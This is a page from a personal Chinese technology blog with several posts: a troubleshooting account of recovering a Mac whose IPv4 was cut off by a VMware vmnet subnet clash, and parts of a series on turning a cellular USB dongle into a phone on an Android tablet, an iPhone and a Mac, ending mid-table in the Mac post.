# 达是酒中趣,琴上偶然音 > 一个写了二十年的个人博客:生活、技术、诗歌与随笔。A personal blog since 2005 — life, tech, poetry and notes. --- ## VMware 偷走了我的 IPv4:一次纯靠 IPv6 完成的远程抢救 Date: 2026-09-23 URL: https://blog.wo.ai/archives/4001 Categories: Technology 那天我远程启动了 Mac Studio 上的 VMware Fusion,然后这台机器就"消失"了。 ping 不通,VNC 连不上,SSH 也没有任何回应。而我人在外地,走过去按电源键这个选项并不存在。 最后的结局是:**机器一秒都没有宕过**,只是它的 IPv4 协议栈被 VMware 悄悄地掐断了。而 IPv6 完好无损——那就是那扇没上锁的后门。 --- ## 先说结论 VMware Fusion 的某个 `vmnet` 虚拟网卡抢占了 `192.168.50.0/24` 这个网段,而这**正是局域网真实使用的网段**。于是 macOS 在做路由查找时,把所有发往 `192.168.50.*` 的回包——包括发给自己网关的回包——全都丢进了那块虚拟网卡,而不是 `en0`。 结果就是:**包进得来,出不去**。从外面看,这台机器像是彻底死了。 而 IPv6 使用带 scope 的路由(`%接口`),一个 IPv4 网段冲突根本碰不到它,VMware 的 vmnet 也不会去动 IPv6。所以这台机器的 IPv6 链路本地地址自始至终是通的。 修复方式:通过同网段的一台跳板机用 IPv6 SSH 进去,执行 `vmnet-cli --stop`。 --- ## 排查过程 ### 一、网络路径是好的,只有这台 Mac 是黑的 从我远程的机器(位于 `10.10.10.0/24`)测试: | 目标 | 结果 | |---|---| | `192.168.50.254`(网关) | ping 约 8ms,**健康** | | `192.168.50.48`(Mac Studio) | 100% 丢包,22 / 5900 / 445 / 548 等所有端口全部静默 | 网关通、Mac 不通,说明到这个网段的路由和链路都没问题,故障被精确地圈定在这台 Mac 自己身上。 ### 二、`known_hosts` 帮了大忙 翻了一下本地的 `known_hosts`:`192.168.50.48` 有 ed25519、rsa、ecdsa 三条记录,说明这台机器上 SSH 是开着的、而且我以前成功连上过。 更有用的是:**同网段还有好几台机器也在 `known_hosts` 里**(`.20 .21 .30 .45 .88 .137`)。这些都是现成的跳板机。 这是一个很容易被忽略的细节——`known_hosts` 本质上是一份"我曾经能连上的机器清单",救急的时候它就是地图。 ### 三、跳到同一个二层网段上去看 选了 `192.168.50.137`(一台 RHEL8,网卡 `ens192`,地址 `192.168.50.137/24`)。从它上面看: ``` ARP 查询 .48 -> ac:de:48:11:22:33 (Apple 的 OUI,不是 VMware 的) arping .48 -> 约 0.9ms 有回应 (二层活着) ping .48 (IPv4) -> 100% 丢包 (IPv4 回包路由坏了) ``` 这三行信息量很大: 1. **arping 有回应** → 机器在二层是活的,网卡在工作,系统没死机。 2. **MAC 是 Apple 的 OUI** → 排除了另一个高度可疑的原因:"某台桥接模式的虚拟机配了同样的静态 IP `.48`,把地址抢走了"。如果是那样,ARP 回来的应该是 VMware 的 OUI(`00:0c:29` / `00:50:56` 之类)。地址还在 Mac 自己手里,它只是回不了话。 3. **IPv4 ping 不通** → 问题就在 IPv4 的出向路由上。 ### 四、IPv6 那边门是敞开的 ``` Mac 的链路本地地址:fe80::1234:5678:9abc:def0 ping6 -> 0.47ms SSH (tcp/22) -> SSH-2.0-OpenSSH_10.2 屏幕共享 (tcp/5900) -> RFB 003.889 ``` 到这里就完全确认了:**机器健健康康,只有 IPv4 的路由被污染了。** --- ## 根因 VMware Fusion 会给它的 `vmnet1`(host-only)和 `vmnet8`(NAT)半随机地分配 `192.168.x.0/24` 网段。这次它挑中(或者被配置成)了 `192.168.50.0/24`——和真实局域网撞了个正着。 于是这台 Mac 上有两块网卡同时宣称拥有同一个前缀,路由查找开始把 `192.168.50.*` 解析到 vmnet 而不是 `en0`。IPv4 全面静默,但系统其他一切正常。 这是个特别阴险的故障模式:它不会报错,不会写日志告警,只在你启动虚拟机的那一刻,安静地把这台机器从网上抹掉。 --- ## 救援 ### 入口:经跳板机,用 IPv6 链路本地地址 SSH 把 `USER` 换成 Mac 上的真实账号名: ```bash ssh -J root@192.168.50.137 'USER@fe80::1234:5678:9abc:def0%ens192' ``` 两个关键点: - `%ens192` 是**跳板机**在该网段上的接口名。链路本地地址必须带 scope,因为 `fe80::/10` 在每块网卡上都有效,不指定接口内核不知道该往哪发。 - `-J` 表示通过 `192.168.50.137` 做 ProxyJump。 ### 进去之后:确认冲突,然后清掉 ```bash # 这里会看到某个 vmnet 接口也在认领 192.168.50.x: netstat -rn -f inet | grep 192.168.50 # 停掉 VMware 的所有虚拟网络,IPv4 几秒内就会回来: sudo /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli --stop # 再确认一次,现在应该只有 en0 认领这个网段: netstat -rn -f inet | grep 192.168.50 ``` 如果不想把所有虚拟机都干掉,只想停掉那台闯祸的: ```bash vmrun list vmrun stop "/path/to/vm.vmx" soft ``` ### 备选方案:不用 SSH,直接用 VNC 屏幕共享在 IPv6 上是通的,可以把它通过跳板机隧道出来,然后用 VNC 客户端连 `localhost:5900`: ```bash ssh -L 5900:[fe80::1234:5678:9abc:def0%ens192]:5900 root@192.168.50.137 ``` --- ## 永久解决:把 VMware 挪出局域网网段 治标之后要治本,让它以后再也撞不上: ```bash sudo vi "/Library/Preferences/VMware Fusion/networking" # 把 VNET_8_HOSTONLY_SUBNET 192.168.50.0 改成 172.16.108.0 # (如果 VNET_1_ 也落在 192.168.50.0 上,一并改掉) sudo /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli --configure sudo /Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli --start ``` --- ## 下次怎么才能不这么狼狈 **1. 给这台 Mac 装 Tailscale。** 它跑在 `utun` 接口上,天然免疫 IPv4 前缀冲突。恰恰是这种故障模式下,它还是通的——连跳板机都不需要。 **2. 把 VMware 的 vmnet 网段固定在你的局域网永远不会用的私有段**,比如 `172.16.x.0/24`。 **3. 记住 IPv6 这条逃生通道。** 这是这次最大的收获: ```bash # 在同网段任意一台机器上,枚举所有邻居: ping6 ff02::1%<接口名> # 即使目标主机的 IPv4 完全死透,带 scope 的 SSH 依然能进去: ssh user@fe80::xxxx:xxxx:xxxx:xxxx%<接口名> ``` 很多人把 IPv6 当成"以后才用得上的东西"顺手关掉了。这次它是唯一那条把机器救回来的路。**双栈不是冗余,是保险。** --- ## 速查表 ``` Mac Studio IPv4 192.168.50.48 Mac Studio MAC ac:de:48:11:22:33 (Apple OUI) Mac Studio IPv6 链路本地 fe80::1234:5678:9abc:def0 网关 192.168.50.254 跳板机 192.168.50.137 (RHEL8, ens192) ``` --- ## 一台平板,一只 dongle,没有电脑也没有 root(七·完) Date: 2026-09-23 URL: https://blog.wo.ai/archives/4008 Categories: Technology > 上一篇:[iPhone 客户端](/archives/4007) 系列的最后一篇,条件最苛刻:一台 Pixel Tablet,唯一的 USB-C 口插着那只 4G dongle。没有电脑可以帮忙,没有 root,插了 dongle 就连充电线都插不上。 目标是让平板**自己**变成一部电话: - 打电话、接电话,声音走平板的扬声器和麦克风; - 收发短信,中文和 emoji 都要对; - 通话记录、未接来电通知、通讯录匹配; - 在"平板用 SIM 上网"和"SIM 只管电话短信"两种模式之间切换。 不依赖前面那台树莓派网关。App 直接驱动模组。 ## 约束把设计定死了 这个项目几乎没有多少自由发挥的余地,每一个设计决定都是被某个约束逼出来的: | 约束 | 结果 | |---|---| | 平板上没有 adb 程序,也没有 root | **App 自己实现 adb 协议**,通过 Android 的 USB Host API 直接和模组里的调试服务对话 | | 模组的串口在 Android 上没有驱动 | AT 命令走 adb 的 shell 流,和 Mac 版一样 | | 来电和新短信的通知发到 USB AT 口,收不到 | 通话状态和新短信**靠轮询**,不靠等 | | 语音路由的一切都在内存盘里 | 每通电话前重搭,已搭好时很便宜 | | 驱动是 GPL 衍生物 | 不打包,用户自己导入一次 | | **Android 一个 App 只能有一路活跃录音** | 把模组声卡从 Android 手里抢过来,用原生代码自己搬数据 | | SIM 卡只能存几十条短信,满了就拒收 | 把 SIM 当收件箱,定期清空到平板上 | | 平板没有听筒,只能外放 | 麦克风用通信模式,让系统的回声消除生效 | 倒数第三条是这一篇的主线,后面会详细讲。 ## 装起来 ```sh JAVA_HOME=$(/usr/libexec/java_home -v 17) ./gradlew assembleDebug adb install -r app/build/outputs/apk/debug/app-debug.apk ``` 平板只有一个 USB 口,插了 dongle 就不能插电脑,所以调试只能走无线: ```sh adb mdns services # 找到平板的配对服务 adb pair : # 用平板上显示的配对码 adb connect : ``` **坑:系统自带的老版 adb 配不上对。** 要用 Android SDK platform-tools 里的新版。这个错误的表现是配对超时,不会告诉你是版本问题。 **语音驱动**:在 App 里选"从文件夹导入",或者先**运行一次 App**,再推送到它的私有目录。没有驱动也能接通电话,只是没有声音。 **一个必须改的系统设置**:开发者选项里停用 USB 音频路由,然后把 dongle 拔插一次。 ```sh adb shell settings put secure usb_audio_automatic_routing_disabled 1 ``` 为什么要改,后面那个坑会解释。 ## 自己实现一个 adb 客户端 听起来吓人,实际上几百行。adb 的线协议很简单:一个握手包,可选的密钥认证,然后是打开流、写数据、确认、关闭这四种包。一条 USB 连接多路复用所有的流。 只用老式帧格式(4 KiB 负载、字节和校验),这个年代的调试服务一定接受。手上这只 dongle 从不要求认证。 自己实现还带来一个意外的性能好处:每条 AT 命令只是已打开连接上的一次往返,而 Mac 版每条命令都要启动一个 `adb shell` 进程。差距很明显。 AT 层的结构和 Mac 版一样:一个长期的读流,每条命令一个短的写流。写的时候用八进制转义,是为了让任何字节(引号、控制字符)对模组的 shell 都没有特殊含义。启动前先杀掉模组里残留的读进程——第五篇那个"幽灵读者"的坑,在这里被提前预防了。 老版调试服务不报告退出码(第四篇踩过),所以脚本自己打印标记,程序检查标记而不是返回值。 轮询的节奏: | 频率 | 命令 | 用途 | |---|---|---| | 通话中 1 秒,空闲 2 秒 | `AT+CLCC` | 通话状态,也是发现来电的唯一方式 | | 空闲每 20 秒 | 列出并删除短信 | 清空 SIM 收件箱 | | 空闲约 14 秒 | 一组状态查询 | 状态栏和网络页 | 有个固件怪癖:通话列表里会多出一个幻影数据条目,所以只认"类型是语音且有号码"的条目(来电振铃是例外,号码可能是隐藏的)。连续两次轮询都看不到才算挂断,拨号后给 8 秒宽限。 ## 最大的那个坑:每通电话都有一边没声音 **现象**:路由正常,电话接通,但"对方"的电平表几乎不动,"我"的电平表完全不动。 **取证**:拨一个有固定语音提示的服务号码,逐秒记录两路录音的音量。 | 打开的录音 | 模组下行音量 | 平板麦克风 | |---|---|---| | 模组 + 平板麦克风 | 0.001–0.002 | 0.0000 | | 只开模组 | **0.28–0.39**,峰值 0.96 | — | | 只开平板麦克风 | — | 0.0038(环境噪声) | | 平板麦克风 + 模组 | — | **精确的 0** | | 换一组录音源类型 | **0.0000** | 0.003–0.005 | 这张表读起来很清楚:单独开任何一路都正常,同时开两路就有一路是死的。而且**换录音源类型只是换了另一边输**。 Android 报告每一路录音都"没有被静音",路由配置也全对。 **原因**:**Android 只给一个 App 一路活跃录音。** 模组的 USB 音频输入和平板麦克风同时录,其中一路必然拿到静音。这不是 bug,是平台的既定行为。 试过的一条死路:桥接程序有个模式可以把音频通过 adb 流传出来,绕开录音系统。但在这个固件上打不开设备,报 `errno = -22`。 **解决办法只能是釜底抽薪:把模组的声卡从 Android 手里拿走。** 模组一连上,就强制认领它的 USB 音频控制接口和两个流接口。这会把系统的 USB 音频驱动踢掉——从 Android 的角度看,这块声卡消失了。然后通话开始时自己设置采样率,自己提交等时传输请求,自己搬数据。 具体参数:8000 Hz 单声道 16 位,高速总线上每毫秒一个 16 字节的包;每个方向 4 个请求在途,每个请求 8 个包(8 毫秒)。两端时钟不同,所以环形缓冲积压超过 200 毫秒就砍回 60 毫秒。关闭时必须先丢弃并回收所有请求再释放资源——**请求在被回收之前属于内核,不是你的**。 这样 Android 就只看到一路录音:平板麦克风。结果是下行音量 0.40 到 0.51,每个方向精确的 16000 字节每秒,零传输错误。 ## Android 把所有声音都送进了 dongle **现象**:Android 把 dongle 识别成一副 USB 耳机,还设成了通信设备。音频日志里,通话输出在半秒之内从扬声器切到了"USB 耳机"。别的 App 放的音乐也跑进去了。 **原因**:模组的音频功能看起来就是一副标准 USB 耳机,而 Android 在通话和媒体上都优先选耳机。这个行为本身完全合理,只是这副"耳机"是给电话对面的人听的。 **解决**要三步一起做: 1. 桥接把内置扬声器同时钉为通信设备和音轨的首选设备; 2. 认领 USB 接口之后,系统里不再有这块声卡; 3. 但 Android 的音频框架**不会注意到驱动被卸载了**,它会继续往一个已经不存在的耳机送声音,直到设备重新枚举。所以要打开"停用 USB 音频路由"并让 dongle 重新枚举一次。 第 3 条就是前面那个系统设置的由来。这类"框架缓存了一个已经消失的东西"的问题,在整个系列里出现了不止一次。 ## 其余的坑 ### 拨号把自己的语音路由取消了 **现象**:电话接通了,屏幕上却显示一句奇怪的话——某个操作"因为协程作用域离开了组合"而失败,日志里写着"没有语音路由就开始拨号",没有声音。 **原因**:每个按钮都在界面自己的协程作用域里启动工作。而拨号会切换到通话界面,拨号盘随之离开组合,它的作用域被取消——正在搭建的语音路由跟着被取消了一半。更糟的是,路由代码把"被取消"当成普通失败报告了,所以错误信息完全没指向真正的原因。 **解决**:所有模组操作都在一个随进程存活的作用域里运行;取消异常要原样抛出,不能当成失败吞掉。 **这是 Android 和 Compose 上非常容易犯的错**:界面的生命周期和工作的生命周期是两回事,绑错了就会在用户操作的那一刻自毁。 ### 驱动推上去了,App 却说找不到 **原因**:那个目录是在 App 首次运行之前用命令行创建的,属主是 shell 用户,App 读不了自己目录下的文件。 **解决**:先运行一次 App 让它自己建目录,再推送;或者干脆用 App 内的导入功能。 ### 命令的回复被当成了主动通知 移植时发现的一个老 bug:Mac 版把所有"长得像通知"的行一律交给通知处理,即使它们正是当前在途命令的回复。所以在 Mac 上查询 SIM 卡状态总是看起来是空的。 平板版的做法是:如果一行的前缀正好对应当前在途的命令,那它就是回复,留在回复里。 (顺带一提,Mac 版的这个 bug 还在。一个项目做到第七篇,总会有这种"知道但还没修"的东西。) 另外,模组对象还有第二把锁,用于多命令序列——短信流程中间会切换字符集,如果这时插进来一条轮询,它会把 UCS2 的十六进制当成普通文本读。 ### 联网模式下平板只有 IPv6 **现象**:刚切到 ECM 模式,平板拿到了运营商的 IPv6,但没有 IPv4,连不上只支持 IPv4 的服务。过一会儿又自己好了。 **原因**:网卡一出现,内核就自行配置了 IPv6;而 IPv4 要靠 DHCP,模组只在自己的数据连接建立之后才应答 DHCP。问早了,Android 就一直停在只有 IPv6 的状态,直到它自己重试。 **解决**:模组侧无能为力。程序检测到这个状态时,在网络页提示用户拔插一次。最近一次测试,点下按钮后 31 秒 IPv4 到位。 ### 两个从网关继承过来的短信坑 - 来电和新短信通知发往 USB AT 口 → 用轮询兜底,能改配置就把通知端口改成"全部"。 - SIM 存满会拒收新短信 → 每次清扫**先**存进平板本地,**然后**才从 SIM 删除。顺序反了就会丢短信。 ### 一个号码两个会话 发出去用 `138…`,回来变成 `+86138…`,于是开了第二个会话。统一折叠国家码前缀,对收信、去信、通话记录、存储条目全都生效。通讯录匹配用的是同一套规则。 ### 平板占着模组时,电脑没法调试模组 dongle 插在平板上,它的调试接口归 App 独占。这让调试变得很尴尬。 **解决**:在 App 里加一个受权限保护的调试接收器(只有 shell 和系统能调用),通过 App 自己的连接转发命令: ```sh B="adb shell am broadcast -n <包名>/.DebugReceiver -a <包名>.DEBUG" $B --es shell 'cat /proc/asound/cards' # 在模组里执行命令 $B --es at 'AT+CLCC' # 发一条 AT $B --es dial 10086 / $B --es hangup 1 # 走真实的拨号/挂断路径 $B --es route 1 # 搭语音路由 $B --es usbdesc 1 # 看接口和端点描述 adb logcat -s VoHiveDebug AudioBridge UsbAudio VoiceRoute ``` 音频桥每秒记录两个方向的音量、峰值和字节计数。**上面所有音频问题,都是靠这几个数字诊断出来的**,没有一个是靠读代码猜出来的。 给一个自己都够不着的设备留一条调试通道,前期看着像浪费时间,实际上是这个项目里回报最高的一次投入。 ## 其他功能 - **两种模式,不是四种**:模组支持四种联网模式,但平板上只有两个有意义——ECM(Android 当 USB 以太网用)叫"联网模式",QMI(Android 驱动不了)叫"电话短信模式"。切换要重启模组,App 预期断开,重新枚举后自动重连,大约 30 秒。 - **状态归平板所有**:短信和通话记录存在 App 的私有目录里,由进程级的控制器持有。所以切换模式——这会重启模组并断开重连——不会丢任何东西。 - **通讯录**:读系统通讯录,在通话记录、会话、来电界面和通知里显示名字;处理 `tel:` 链接,在系统通讯录里点号码就能用它拨出;未知号码可以一键交给系统通讯录保存。它自己从不写通讯录。 ## 还没做完的 写下来是因为"还没做完"和"做完了"之间的距离,通常比看起来远: | 问题 | 状态 | |---|---| | 真人说话时的上行 | 采集在跑,字节数正确,但安静房间里降噪后音量接近 0,还没让对端确认听到人声 | | 真实来电 | 检测、铃声、全屏界面、接听都实现了,还没用真实来电验证过 | | 长短信 | 分段会显示成多个气泡,拼接需要改用 PDU 模式 | | 回声消除质量 | 外放加系统回声消除,还没在真实对话里评估 | | 系统电话集成 | 没接 Android 的电话框架,用自己的通知和全屏界面响铃 | ## 七篇之后 同一只 dongle,四个平台,四种完全不同的驱动方式: | 平台 | 控制通道 | 通话音频 | 最大的坑 | |---|---|---|---| | 树莓派 | 串口 AT(udev 固定名) | ALSA 读 USB 声卡 | 每通电话重建路由;Wi-Fi 通话协议栈 | | Mac | adb 进模组 | CoreAudio 聚合设备 | 时钟域污染、必须签名 | | iPhone | 通过网关的 HTTPS | WebSocket PCM | CallKit 生命周期 | | 安卓平板 | App 自己实现 adb | 原生等时 USB 传输 | 一个 App 只能一路录音 | 回头看,反复出现的教训只有五条: **一、"已就绪"必须带外确认。** 空条件判断出来的 ready,四个标志全是 true 却打不出电话的状态接口,设备节点存在但读出来全是零的声卡——状态值是代码自己写的,事实要去别处查。 **二、一个共享的底层被多个消费者读,就会各丢一半。** 语音丢一半、事件丢一半、两个读进程瓜分 AT 回复,是同一个 bug 的三张脸。发现它的办法是在数据通路的两个层各埋一个计数器。 **三、不要从"沉默"推断对方的策略。** 曾经写下"这是运营商签约问题",实际上是自己的注册消息少了一个头。把消息打出来,逐条对规范。 **四、不要从一段听不懂的录音推断任何事**,先确认号码拨对了。 **五、迁移时,没有测试覆盖的补丁就是会丢的补丁。** 同一个来电进语音信箱的问题,修了两次。 一只二手价不到一百块的配件,里面是一台完整的 LTE 模组。这大概是这个系列最值得说的一件事:很多看起来封闭的硬件,只是**没有人去问它是什么**。 ## 全系列 1. [它到底是什么](/archives/4002) 2. [树莓派上的短信与 eSIM 网关](/archives/4003) 3. [从零实现 VoWiFi](/archives/4004) 4. [USB 话机、浏览器通话与 ESP32](/archives/4005) 5. [插在 Mac 上](/archives/4006) 6. [iPhone 客户端](/archives/4007) 7. [安卓平板直接驱动](/archives/4008) --- *这个系列是个人学习和技术研究记录。模组的语音驱动是 GPL 衍生物,不随项目分发,需要自行准备。请遵守所在地法律法规和运营商服务条款。* --- ## 让 iPhone 拨打一张不在 iPhone 里的 SIM 卡(六) Date: 2026-09-16 URL: https://blog.wo.ai/archives/4007 Categories: Technology > 上一篇:[插在 Mac 上](/archives/4006) | 下一篇:[安卓平板直接驱动](/archives/4008) 前面几篇的成果是一台树莓派网关:上面插着几张 SIM 卡,能收发短信、能打电话、还能通过 Wi-Fi 连上运营商核心网。 但它是一台放在角落里的机器。真正想要的是:**手机上多出几条线路**,用起来和手机自己的号码一样——来电有全屏来电界面,锁屏能接,短信是熟悉的气泡会话,拨号时能用系统键盘输 IVR 的分机号。 iPhone 没有 USB Host 能力,插不了也驱动不了模组。所以这个 App 是网关的客户端。界面四个标签:电话、短信、录音、设置,导航栏里一个线路选择器。 ## 不用 WebRTC,也不做 SIP 客户端 第一反应可能是在手机上实现一个 SIP 客户端,或者上 WebRTC。两条路都没必要——网关已经把难的部分做完了,手机只要会说 HTTPS 就够了。 | 手机需要 | 网关提供 | |---|---| | 线路列表 | `GET /api/lines`:编号、名称、号码、信号、能否拨号、进行中的通话。全部来自缓存,回到前台随便刷,不花模组一条 AT 命令 | | 所有线路的事件 | `GET /api/events`:一条 SSE 流,通话状态变化和新短信,每条带线路标识,外加心跳 | | 通话音频 | 一条双向 WebSocket,二进制帧,8 kHz 单声道 16 位 | | 录音 | 列表加支持断点的下载 | | 后台来电 | VoIP 推送 | 这些接口全部写进了一份 OpenAPI 描述(72 个路径)。其中语音 WebSocket 的帧格式,之前只有那个处理函数自己知道——**一个接口的格式如果只存在于代码里,它就还不算一个接口。** 通话用 **CallKit**,而不是 App 内部自己画的界面。CallKit 是 iOS 给第三方通话应用的系统框架,用它的好处很实在:来电界面能出现在锁屏上,通话在离开 App 之后继续,按键音用系统键盘(这样自动语音菜单才好用)。 音频这边要在 8 kHz 和手机硬件的 48 kHz 之间转换,并保持一个 **60 毫秒的抖动缓冲**。为什么需要缓冲:音频走的是 TCP,到达是一阵一阵的,而扬声器消耗是匀速的,没有缓冲每次突发之间都会留下一个空洞。但缓冲又必须浅,因为这里加的每一毫秒延迟都会被直接听成通话延迟。 ## 装起来 ```sh cd ios/VoHivePhone xcodegen generate # 工程由配置生成,不手改工程文件 open VoHivePhone.xcodeproj # 选开发团队,连真机运行 ``` 首次打开在设置里填网关地址。输入框接受人类会输入的任何形式——`192.168.1.20:7575`、主机名、完整 URL——其余部分自动补全。 网关地址是整个 App 的"根":改掉它意味着重新登录、丢掉旧网关的缓存、重连事件流。这类"改一个设置要连带做五件事"的地方,最好一次写对,否则会留下各种看不见的残留状态。 ## 网关先要补两个洞 为了支持一台常连着的手机,网关这边先补了两样东西。 ### 服务刚启动时,来电没人知道 **原因**:模组的来电回调属于一个控制对象,而这个对象只在有客户端主动查询通话状态时才被创建。刚启动的服务上根本没有回调,来电在有人来问之前不会被注意到。 这在网页后台时代不是问题——人打开页面就会开始轮询。但一台一直开着事件流的手机,不能依赖"有人来问"。 **解决**:启动时就为每个设备安装一个事件监视器,随设备增减自动调整。 ### 两个消费者,各看到一半事件 **原因**:事件是一个共享 channel,而话机桥已经在读它了。两个读者各拿到大约一半的状态变化。 这和第三篇"语音丢一半"是**完全一样的陷阱**:Go 的 channel 一次只把一个值送给一个接收者。同一个 bug 在这个项目里出现了三次,形式各不相同。 **解决**:改成订阅模式,每个消费者一个独立 channel。投递是有损的——发送发生在模组的通知路径上,绝不能被一个慢读者阻塞。 验证:从一张国内卡给网关上的另一条线路发短信,经 Wi-Fi 通话链路到达,从事件流里出来: ```json {"type":"sms.received","line_id":"us","sms":{"sender":"+86138xxxxxxxx", ...}} ``` ## App 这边的坑 ### 短信会话打开是空的 **原因**:`URLComponents` 在查询参数里保留字面量的 `+`,而服务端按表单规则把 `+` 解码成空格。于是 `+86138…` 变成了 ` 86138…`,前面多一个空格,什么都匹配不上。 用线上网关验证了一遍:字面量形式返回空数组,百分号编码形式返回消息。 **解决**:所有要放进查询参数的电话号码,统一在一处编码,而不是在每个调用点各写一遍。这类"每个调用点自己处理"的约定,迟早会有人漏掉一个。 ### 第二通电话被拒绝,错误码 7 **原因**:错误码 7 是"通话组数量达到上限"。CallKit 的 Provider 只允许一个通话组,而一个**没接通的拨号从未被报告为结束**,永远占着那个组。 本地状态清了,CallKit 没被告知——两边只清一边,系统就会一直相信有一通根本不存在的电话正在进行。 **解决**:每一条失败路径都要向 CallKit 报告通话结束;发起新通话前先清掉残留;既没接通也没被拒绝的拨号设一个 45 秒的截止时间。 **只清一边**是这类系统集成里最常见的错误形状:状态存在两个地方,代码只更新了自己那份。 ### 每通电话都会没声音 这个 bug 是读代码时按时序推出来的,不是在真机上撞到的。 **原因**:CallKit 在拨号动作完成后**立刻**交出音频会话,而这发生在音频引擎被创建**之前**。于是"音频会话已激活"的回调里,对着一个 `nil` 调用了启动方法,什么也没发生,之后也没有任何人再启动它。 **解决**:把"音频会话激活"和"引擎已创建"当成两个顺序不定的事件,两者都去调用同一个"条件满足就启动"的函数,后到的那个生效。引擎自身的保护让重复调用无害。 这类竞态值得强调一句:`nil` 上的可选调用不会崩溃,也不会报错,它只是什么都不做。Swift 里 `try audio?.start()` 这行代码,在 `audio` 为 nil 时是一个完全合法、完全静默的空操作。 ### App 在前台时,来电不响 **原因**:事件流明明告诉了 App"有电话在响",App 什么都没做——报告来电的代码只写在推送回调里。 **解决**:前台收到的来电也报告给 CallKit。两个来源可能对同一通电话都触发,所以已经报告过的要跳过,否则屏幕上会出现两个来电界面。网关说通话结束时也要告诉 CallKit,否则来电界面会一直挂在那儿,而后面什么都不会发生。 ### 第一次 TLS 握手就崩溃 **原因**:局域网网关用自签证书,需要在网络会话的代理方法里放行。而那个代理方法跑在网络库自己的队列上,代码从这里去访问主线程隔离的数据,触发了底层的队列断言,进程在第一次握手时直接挂掉。 **解决**:只对**配置的那个主机**放行证书,不是所有主机;持有例外的代理对象自己保存一份主机名快照,完全不去碰主线程的状态。 ### VoIP 推送的两条硬规则 这两条不遵守,后果都不是报错,而是被系统惩罚: - 报告新来电**必须在推送回调里同步调用**。否则 iOS 直接杀掉进程,并且会减少后续推送的投递。 - 音频引擎必须在 CallKit 的"会话已激活"回调里启动,而不是拨号时。否则它会绑定到错误的音频路由,第一通电话没声音。 ## 网关侧的推送 - 用证书认证的 APNs,HTTP/2,没有引入新依赖。 - **一个很安静的坑**:Go 里一旦设置了 `TLSClientConfig`,自动 HTTP/2 就被关掉了,而 APNs 拒绝 HTTP/1.1。必须显式打开 `ForceAttemptHTTP2`。这个错误不会告诉你原因。 - 沙盒还是生产环境由客户端上报,不靠猜。 - APNs 报告永久失效的令牌直接删除,不要在以后每通电话都重试一遍。 - 推送和事件流里的"振铃"由**同一个状态转换**触发,保证前台的手机和睡着的手机不会被告知不同的事。 - 有一个状态接口,推送失败时能看见,而不是静默。 推送需要自己的 Apple VoIP 证书,配置好之前保持关闭,App 只在前台连着事件流时响铃。 ## 测试 单元测试直接解码真实的网关 JSON 数据。任何一侧改了字段名,都会在测试里失败,而不是在界面上显示一片空白。 这是客户端加服务端项目里最省事的一种测试:不需要 mock,不需要跑服务,就是把真实响应存下来喂给解码器。 ## 这一篇的 bug 都长一个样 | 问题 | 根源 | |---|---| | 会话为空 | `+` 在查询参数里被解码成空格 | | 错误码 7 | CallKit 和本地状态只清了一边 | | 没声音 | 音频会话激活和引擎创建的竞态 | | 前台不响 | 只有推送路径报告了来电 | | TLS 崩溃 | 在网络库的队列上访问主线程状态 | | 事件丢一半 | 共享 channel,多个消费者 | 六个里有四个是**同一件事在两个地方各有一份状态,而代码只维护了一份**。写客户端和系统框架打交道时,这个模式值得随时提防。 最后一篇:一台安卓平板,唯一的 USB-C 口插着 dongle,没有电脑、没有 root,怎么把它变成一部电话。 ## 全系列 1. [它到底是什么](/archives/4002) 2. [树莓派上的短信与 eSIM 网关](/archives/4003) 3. [从零实现 VoWiFi](/archives/4004) 4. [USB 话机、浏览器通话与 ESP32](/archives/4005) 5. [插在 Mac 上](/archives/4006) 6. [iPhone 客户端](/archives/4007) 7. [安卓平板直接驱动](/archives/4008) --- *这个系列是个人学习和技术研究记录。请遵守所在地法律法规和运营商服务条款。* --- ## 同一只 dongle 插在 Mac 上:没有驱动的平台怎么办(五) Date: 2026-09-09 URL: https://blog.wo.ai/archives/4006 Categories: Technology > 上一篇:[USB 话机、浏览器通话与 ESP32](/archives/4005) | 下一篇:[iPhone 客户端](/archives/4007) 前四篇都在树莓派上。Linux 对这类设备很友好:串口有驱动,网卡有驱动,声卡有 ALSA,热插拔有 udev。 把同一只 dongle 插在 Mac 上,这些全都没有。 第一篇的结论在这里变成了具体的麻烦:模组的 AT 接口、网络接口、诊断接口都是 USB 厂商自定义类,macOS 不给它们绑任何驱动,`/dev/cu.*` 里连影子都看不到。 唯一够得着的通道是 ADB。安装很简单: ```sh brew install android-platform-tools adb devices -l ``` Mac 上有三种用法,由浅入深: | 用法 | 适合谁 | 需要什么 | |---|---|---| | A. 只上网 | 出门给 Mac 用 4G | 切到 ECM 模式,什么软件都不装 | | B. 跑一份服务端 | 想要和树莓派一样的网页后台、eSIM 管理 | 编译一个 macOS 版本 | | C. 原生 App | 在 Mac 上直接打电话、发短信 | Xcode 构建,外加语音驱动 | ## A. 只上网 ```text AT+QCFG="usbnet",1 AT+CFUN=1,1 ``` 模组重启后,"系统设置 → 网络"里会多出一块有线网卡。模组自己做 DHCP 和 NAT,Mac 拿到一个 `192.168.225.x` 的地址。不用拨号,插上就有网。切回去用 `usbnet,0`。 ### 它会悄悄接管 Mac 的 IPv6 **现象**:Wi-Fi 看起来连得好好的,但浏览器的流量其实在走 SIM 卡。 **原因**:ECM 网卡会带来一个运营商的 IPv6 前缀。如果 Mac 当前的 Wi-Fi 没有 IPv6(很多家庭和办公网络都没有),这个前缀就成了**整台机器唯一的 IPv6 默认路由**。所有支持 IPv6 的网站——也就是今天大部分主流网站——全都从 SIM 卡走。 屏幕上没有任何提示。对一张漫游卡来说,这就是账单。 **解决**:原生 App 的默认策略是"不给 Mac 用 SIM 的数据"——连上模组时如果它处于 ECM 模式,就切到 QMI。因为 macOS 没有 QMI 驱动,也就不会出现任何网卡,自然无路可走。这个设置存在模组里,所以重启只会发生一次,而且从不在通话中发生。 在网络页手动切换会同时更新这个策略,下次连接不会被改回去。还加了一层防护,避免"切换没生效 → 重连 → 再切换"的死循环。 ## B. 服务端的 macOS 版本 ```sh make build-mac ./dist/vohive__darwin_arm64 ``` 这棵代码树原本只为 Linux 写过,有四个子系统直接调用了 Linux 内核接口。移植的原则是:每一处都在最窄的接缝上拆开,Linux 那一侧的代码保持不变。 | 子系统 | macOS 上怎么办 | |---|---| | 把出站连接绑到指定网卡 | Linux 有专门的套接字选项,BSD 系有另一个 | | 串口参数设置 | 增加一条 BSD 路径 | | Wi-Fi 通话的加密数据面 | 留空,所以 **macOS 上没有 Wi-Fi 通话** | | 热插拔监听 | 